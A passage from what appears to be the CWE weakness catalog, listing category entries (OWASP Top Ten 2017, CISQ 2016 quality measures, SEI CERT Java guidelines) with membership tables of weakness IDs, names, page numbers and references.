HasMember	A	352	Cross-Site Request Forgery (CSRF)	1008	821
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	1008	1062
HasMember	V	473	PHP External Variable Modification	1008	1066
HasMember	B	502	Deserialization of Untrusted Data	1008	1137
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1008	1266
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	1008	1329
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1008	1336
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1008	1351
HasMember	G	790	Improper Filtering of Special Elements	1008	1563
HasMember	B	791	Incomplete Filtering of Special Elements	1008	1564
HasMember	V	792	Incomplete Filtering of One or More Instances of Special Elements	1008	1565
HasMember	V	793	Only Filtering One Instance of a Special Element	1008	1567
HasMember	V	794	Incomplete Filtering of Multiple Instances of Special Elements	1008	1568
HasMember	B	795	Only Filtering Special Elements at a Specified Location	1008	1569
HasMember	V	796	Only Filtering Special Elements Relative to a Marker	1008	1571
HasMember	V	797	Only Filtering Special Elements at an Absolute Position	1008	1572
HasMember	G	943	Improper Neutralization of Special Elements in Data Query Logic	1008	1720

## References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1020: Verify Message Integrity

Category ID : 1020

## Summary

Weaknesses in this category are related to the design and architecture of a system's data integrity components. Frequently these deal with ensuring integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed when designing or implementing a secure architecture.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1008	Architectural Concepts	1008	2337
HasMember	B	353	Missing Support for Integrity Check	1008	828
HasMember	B	354	Improper Validation of Integrity Check Value	1008	830
HasMember	B	390	Detection of Error Condition Without Action	1008	893
HasMember	B	391	Unchecked Error Condition	1008	898
HasMember	B	494	Download of Code Without Integrity Check	1008	1119
HasMember	B	565	Reliance on Cookies without Validation and Integrity Checking	1008	1209
HasMember	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	1008	1346
HasMember	P	707	Improper Neutralization	1008	1440
HasMember	G	755	Improper Handling of Exceptional Conditions	1008	1468
HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	1008	1701

### References

[REF-9]Santos, J. C. S., Tarrit, K. and Mirakhorli, M.. "A Catalog of Security Architecture Weaknesses.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/cawe-paper.pdf> >.

[REF-10]Santos, J. C. S., Peruma, A., Mirakhorli, M., Galster, M. and Sejfia, A.. "Understanding Software Vulnerabilities Related to Architectural Security Tactics: An Empirical Investigation of Chromium, PHP and Thunderbird.". 2017 IEEE International Conference on Software Architecture (ICSA). 2017. < <https://design.se.rit.edu/papers/TacticalVulnerabilities.pdf> >.

## Category-1027: OWASP Top Ten 2017 Category A1 - Injection

Category ID : 1027

### Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2338
HasMember	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	1026	141
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1026	147
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	1026	188
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1026	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	1026	207

Nature	Type	ID	Name	V	Page
HasMember	B	91	XML Injection (aka Blind XPath Injection)	1026	209
HasMember	V	564	SQL Injection: Hibernate	1026	1207
HasMember	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1026	1692
HasMember	C	943	Improper Neutralization of Special Elements in Data Query Logic	1026	1720

## References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1028: OWASP Top Ten 2017 Category A2 - Broken Authentication

Category ID : 1028

### Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2338
HasMember	B	256	Plaintext Storage of a Password	1026	583
HasMember	C	287	Improper Authentication	1026	657
HasMember	B	308	Use of Single-factor Authentication	1026	713
HasMember	A	384	Session Fixation	1026	887
HasMember	C	522	Insufficiently Protected Credentials	1026	1157
HasMember	B	523	Unprotected Transport of Credentials	1026	1161
HasMember	B	613	Insufficient Session Expiration	1026	1291
HasMember	B	620	Unverified Password Change	1026	1301
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	1026	1326

## References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1029: OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure

Category ID : 1029

### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2338
HasMember	V	220	Storage of File With Sensitive Data Under FTP Root	1026	530
HasMember	B	295	Improper Certificate Validation	1026	677



Nature	Type	ID	Name	V	Page
HasMember		311	Missing Encryption of Sensitive Data		718
HasMember		312	Cleartext Storage of Sensitive Information		725
HasMember		319	Cleartext Transmission of Sensitive Information		740
HasMember		320	Key Management Errors		2112
HasMember		325	Missing Cryptographic Step		754
HasMember		326	Inadequate Encryption Strength		756
HasMember		327	Use of a Broken or Risky Cryptographic Algorithm		758
HasMember		328	Use of Weak Hash		765
HasMember		359	Exposure of Private Personal Information to an Unauthorized Actor		836

## References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1030: OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)

Category ID : 1030

### Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		1026	Weaknesses in OWASP Top Ten (2017)		2338
HasMember		611	Improper Restriction of XML External Entity Reference		1286
HasMember		776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')		1521

## References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1031: OWASP Top Ten 2017 Category A5 - Broken Access Control

Category ID : 1031

### Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		1026	Weaknesses in OWASP Top Ten (2017)		2338
HasMember		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')		33
HasMember		284	Improper Access Control		644
HasMember		285	Improper Authorization		649
HasMember		425	Direct Request ('Forced Browsing')		969



Nature	Type	ID	Name	V	Page
HasMember	B	639	Authorization Bypass Through User-Controlled Key	1026	1324

### References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration

Category ID : 1032

### Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2338
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286
HasMember	C	16	Configuration	1026	2100
HasMember	B	209	Generation of Error Message Containing Sensitive Information	1026	510
HasMember	V	548	Exposure of Information Through Directory Listing	1026	1189

### Notes

#### Relationship

While the OWASP document maps to CWE-2 and CWE-388, these are not appropriate for mapping, as they are high-level categories that are only intended for the Seven Pernicious Kingdoms view (CWE-700).

### References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1033: OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)

Category ID : 1033

### Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2338
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1026	159

### References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1034: OWASP Top Ten 2017 Category A8 - Insecure Deserialization

Category ID : 1034

### Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2338
HasMember	B	502	Deserialization of Untrusted Data	1026	1137

### References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Category ID : 1035

### Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2338
MemberOf	C	1352	OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components	1344	2287

### Notes

#### Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

### References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1036: OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring

Category ID : 1036

## Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2017.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	2338
HasMember	B	223	Omission of Security-relevant Information	1026	533
HasMember	B	778	Insufficient Logging	1026	1525

## References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1129: CISQ Quality Measures (2016) - Reliability

Category ID : 1129

## Summary

Weaknesses in this category are related to the CISQ Quality Measures for Reliability, as documented in 2016 with the Automated Source Code CISQ Reliability Measure (ASCRM) Specification 1.0. Presence of these weaknesses could reduce the reliability of the software.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1128	CISQ Quality Measures (2016)	1128	2341
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1128	294
HasMember	B	252	Unchecked Return Value	1128	575
HasMember	B	396	Declaration of Catch for Generic Exception	1128	908
HasMember	B	397	Declaration of Throws for Generic Exception	1128	910
HasMember	V	456	Missing Initialization of a Variable	1128	1029
HasMember	C	674	Uncontrolled Recursion	1128	1391
HasMember	C	704	Incorrect Type Conversion or Cast	1128	1435
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1128	1512
HasMember	B	788	Access of Memory Location After End of Buffer	1128	1555
HasMember	V	1045	Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor	1128	1745
HasMember	B	1047	Modules with Circular Dependencies	1128	1747
HasMember	B	1051	Initialization with Hard-Coded Network Resource Configuration Data	1128	1751
HasMember	B	1056	Invokable Control Element with Variadic Parameters	1128	1756
HasMember	B	1058	Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element	1128	1758
HasMember	B	1062	Parent Class with References to Child Class	1128	1763
HasMember	B	1065	Runtime Resource Management Control Element in a Component Built to Run on Application Servers	1128	1766
HasMember	B	1066	Missing Serialization Control Element	1128	1767
HasMember	B	1069	Empty Exception Block	1128	1770
HasMember	B	1070	Serializable Data Element Containing non-Serializable Item Elements	1128	1772
HasMember	V	1077	Floating Point Comparison with Incorrect Operator	1128	1778

Nature	Type	ID	Name	V	Page
HasMember	B	1079	Parent Class without Virtual Destructor Method		1128 1780
HasMember	B	1082	Class Instance Self Destruction Control Element		1128 1782
HasMember	B	1083	Data Access from Outside Expected Data Manager Component		1128 1783
HasMember	B	1087	Class with Virtual Method without a Virtual Destructor		1128 1787
HasMember	B	1088	Synchronous Access of Remote Resource without Timeout		1128 1788
HasMember	V	1096	Singleton Class Instance Creation without Proper Locking or Synchronization		1128 1796
HasMember	B	1097	Persistent Storable Data Element without Associated Comparison Control Element		1128 1797
HasMember	V	1098	Data Element containing Pointer Item without Proper Copy Control Element		1128 1798

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < <http://it-cisq.org/standards/automated-quality-characteristic-measures/> >.

## Category-1130: CISQ Quality Measures (2016) - Maintainability

Category ID : 1130

### Summary

Weaknesses in this category are related to the CISQ Quality Measures for Maintainability, as documented in 2016 with the Automated Source Code Maintainability Measure (ASCMM) Specification 1.0. Presence of these weaknesses could reduce the maintainability of the software.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1128	CISQ Quality Measures (2016)		1128 2341
HasMember	B	561	Dead Code		1128 1201
HasMember	V	766	Critical Data Element Declared Public		1128 1495
HasMember	B	1041	Use of Redundant Code		1128 1740
HasMember	B	1044	Architecture with Number of Horizontal Layers Outside of Expected Range		1128 1744
HasMember	B	1047	Modules with Circular Dependencies		1128 1747
HasMember	B	1048	Invokable Control Element with Large Number of Outward Calls		1128 1748
HasMember	B	1052	Excessive Use of Hard-Coded Literals in Initialization		1128 1752
HasMember	B	1054	Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer		1128 1754
HasMember	B	1055	Multiple Inheritance from Concrete Classes		1128 1755
HasMember	B	1064	Invokable Control Element with Signature Containing an Excessive Number of Parameters		1128 1765
HasMember	B	1074	Class with Excessively Deep Inheritance		1128 1776
HasMember	B	1075	Unconditional Control Flow Transfer outside of Switch Block		1128 1777

Nature	Type	ID	Name	V	Page
HasMember	B	1080	Source Code File with Excessive Number of Lines of Code		1128 1781
HasMember	B	1084	Invokable Control Element with Excessive File or Data Access Operations		1128 1784
HasMember	B	1085	Invokable Control Element with Excessive Volume of Commented-out Code		1128 1785
HasMember	B	1086	Class with Excessive Number of Child Classes		1128 1786
HasMember	B	1090	Method Containing Access of a Member Element from Another Class		1128 1791
HasMember	B	1092	Use of Same Invokable Control Element in Multiple Architectural Layers		1128 1793
HasMember	B	1095	Loop Condition Value Update within the Loop		1128 1795
HasMember	B	1121	Excessive McCabe Cyclomatic Complexity		1128 1818

## References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < <http://it-cisq.org/standards/automated-quality-characteristic-measures/> >.

## Category-1131: CISQ Quality Measures (2016) - Security

Category ID : 1131

### Summary

Weaknesses in this category are related to the CISQ Quality Measures for Security, as documented in 2016 with the Automated Source Code Security Measure (ASCSM) Specification 1.0. Presence of these weaknesses could reduce the security of the software.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1128	CISQ Quality Measures (2016)		1128 2341
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')		1128 33
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')		1128 147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')		1128 159
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')		1128 195
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')		1128 235
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')		1128 294
HasMember	V	129	Improper Validation of Array Index		1128 327
HasMember	B	134	Use of Externally-Controlled Format String		1128 349
HasMember	B	252	Unchecked Return Value		1128 575
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm		1128 758
HasMember	B	396	Declaration of Catch for Generic Exception		1128 908
HasMember	B	397	Declaration of Throws for Generic Exception		1128 910

Nature	Type	ID	Name	V	Page
HasMember	B	434	Unrestricted Upload of File with Dangerous Type		991
HasMember	V	456	Missing Initialization of a Variable		1029
HasMember	B	606	Unchecked Input for Loop Condition		1278
HasMember	C	667	Improper Locking		1375
HasMember	C	672	Operation on a Resource after Expiration or Release		1386
HasMember	B	681	Incorrect Conversion between Numeric Types		1400
HasMember	B	772	Missing Release of Resource after Effective Lifetime		1512
HasMember	V	789	Memory Allocation with Excessive Size Value		1558
HasMember	B	798	Use of Hard-coded Credentials		1573
HasMember	B	835	Loop with Unreachable Exit Condition ('Infinite Loop')		1636

## References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < <http://it-cisq.org/standards/automated-quality-characteristic-measures/> >.

## Category-1132: CISQ Quality Measures (2016) - Performance Efficiency

Category ID : 1132

### Summary

Weaknesses in this category are related to the CISQ Quality Measures for Performance Efficiency, as documented in 2016 with the Automated Source Code Performance Efficiency Measure (ASCPem) Specification 1.0. Presence of these weaknesses could reduce the performance efficiency of the software.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1128	CISQ Quality Measures (2016)		2341
HasMember	V	1042	Static Member Data Element outside of a Singleton Class Element		1742
HasMember	B	1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements		1743
HasMember	B	1046	Creation of Immutable Text Using String Concatenation		1746
HasMember	B	1049	Excessive Data Query Operations in a Large Data Table		1749
HasMember	B	1050	Excessive Platform Resource Consumption within a Loop		1750
HasMember	B	1057	Data Access Operations Outside of Expected Data Manager Component		1757
HasMember	B	1060	Excessive Number of Inefficient Server-Side Data Accesses		1761
HasMember	B	1063	Creation of Class Instance within a Static Code Block		1764
HasMember	B	1067	Excessive Execution of Sequential Searches of Data Resource		1768
HasMember	B	1072	Data Resource Access without Use of Connection Pooling		1773
HasMember	B	1073	Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses		1774



Nature	Type	ID	Name	V	Page
HasMember	B	1089	Large Data Table with Excessive Number of Indices		1128 1789
HasMember	B	1091	Use of Object without Invoking Destructor Method		1128 1792
HasMember	B	1094	Excessive Index Range Scan for a Data Resource		1128 1794

## References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

[REF-968]Consortium for Information & Software Quality (CISQ). "Automated Quality Characteristic Measures". 2016. < <http://it-cisq.org/standards/automated-quality-characteristic-measures/> >.

## Category-1134: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)

Category ID : 1134

## Summary

Weaknesses in this category are related to the rules and recommendations in the Input Validation and Data Sanitization (IDS) section of the SEI CERT Oracle Secure Coding Standard for Java.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java		1133 2341
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')		1133 147
HasMember	G	116	Improper Encoding or Escaping of Output		1133 272
HasMember	B	117	Improper Output Neutralization for Logs		1133 279
HasMember	B	134	Use of Externally-Controlled Format String		1133 349
HasMember	V	144	Improper Neutralization of Line Delimiters		1133 367
HasMember	V	150	Improper Neutralization of Escape, Meta, or Control Sequences		1133 377
HasMember	V	180	Incorrect Behavior Order: Validate Before Canonicalize		1133 433
HasMember	B	182	Collapse of Data into Unsafe Value		1133 437
HasMember	B	289	Authentication Bypass by Alternate Name		1133 666
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)		1133 943

## References

[REF-814]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 00. Input Validation and Data Sanitization (IDS)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487865> >.

[REF-996]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 00. Input Validation and Data Sanitization (IDS)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487337> >.

## Category-1135: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)

Category ID : 1135



## Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT Oracle Secure Coding Standard for Java.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	G	665	Improper Initialization	1133	1368

## References

[REF-815]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 01. Declarations and Initialization (DCL)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487858> >.

[REF-997]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 01. Declarations and Initialization (DCL)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487329> >.

## Category-1136: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)

Category ID : 1136

## Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT Oracle Secure Coding Standard for Java.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	252	Unchecked Return Value	1133	575
HasMember	B	476	NULL Pointer Dereference	1133	1070
HasMember	V	595	Comparison of Object References Instead of Object Contents	1133	1256
HasMember	V	597	Use of Wrong Operator in String Comparison	1133	1258

## References

[REF-816]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 02. Expressions (EXP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487704> >.

[REF-998]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 02. Expressions (EXP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487331> >.

## Category-1137: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)

Category ID : 1137

## Summary

Weaknesses in this category are related to the rules and recommendations in the Numeric Types and Operations (NUM) section of the SEI CERT Oracle Secure Coding Standard for Java.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	190	Integer Overflow or Wraparound	1133	453
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	1133	460
HasMember	B	197	Numeric Truncation Error	1133	479
HasMember	B	369	Divide By Zero	1133	865
HasMember	B	681	Incorrect Conversion between Numeric Types	1133	1400
HasMember	P	682	Incorrect Calculation	1133	1403

## References

[REF-817]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 03. Numeric Types and Operations (NUM)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487628> >.

[REF-999]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 03. Numeric Types and Operations (NUM)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487335> >.

## Category-1138: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR)

Category ID : 1138

## Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) section of the SEI CERT Oracle Secure Coding Standard for Java.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	838	Inappropriate Encoding for Output Context	1133	1641

## References

[REF-971]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 04. Characters and Strings (STR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487607> >.

[REF-1000]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 04. Characters and Strings (STR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487333> >.

## Category-1139: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)

Category ID : 1139

### Summary

Weaknesses in this category are related to the rules and recommendations in the Object Orientation (OBJ) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	374	Passing Mutable Objects to an Untrusted Method	1133	871
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	1133	874
HasMember	V	486	Comparison of Classes by Name	1133	1100
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')	1133	1108
HasMember	V	492	Use of Inner Class Containing Sensitive Data	1133	1110
HasMember	V	498	Cloneable Class Containing Sensitive Information	1133	1130
HasMember	V	500	Public Static Field Not Marked Final	1133	1133
HasMember	V	766	Critical Data Element Declared Public	1133	1495

### References

[REF-818]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 05. Object Orientation (OBJ)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487715> >.

[REF-1001]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 05. Object Orientation (OBJ)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487353> >.

## Category-1140: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)

Category ID : 1140

### Summary

Weaknesses in this category are related to the rules and recommendations in the Methods (MET) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	V	568	finalize() Method Without super.finalize()	1133	1215
HasMember	C	573	Improper Following of Specification by Caller	1133	1222
HasMember	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	1133	1236
HasMember	V	583	finalize() Method Declared Public	1133	1238
HasMember	V	586	Explicit Call to Finalize()	1133	1243
HasMember	V	589	Call to Non-ubiquitous API	1133	1247
HasMember	B	617	Reachable Assertion	1133	1297
HasMember	P	697	Incorrect Comparison	1133	1428

### References

[REF-819]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 06. Methods (MET)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487441> >.

[REF-1002]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 06. Methods (MET)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487336> >.

## Category-1141: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)

Category ID : 1141

### Summary

Weaknesses in this category are related to the rules and recommendations in the Exceptional Behavior (ERR) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	248	Uncaught Exception	1133	566
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	1133	883
HasMember	B	397	Declaration of Throws for Generic Exception	1133	910
HasMember	B	459	Incomplete Cleanup	1133	1038
HasMember	B	460	Improper Cleanup on Thrown Exception	1133	1041
HasMember	B	584	Return Inside Finally Block	1133	1240
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	1133	1433
HasMember	G	705	Incorrect Control Flow Scoping	1133	1437
HasMember	G	754	Improper Check for Unusual or Exceptional Conditions	1133	1460

### References

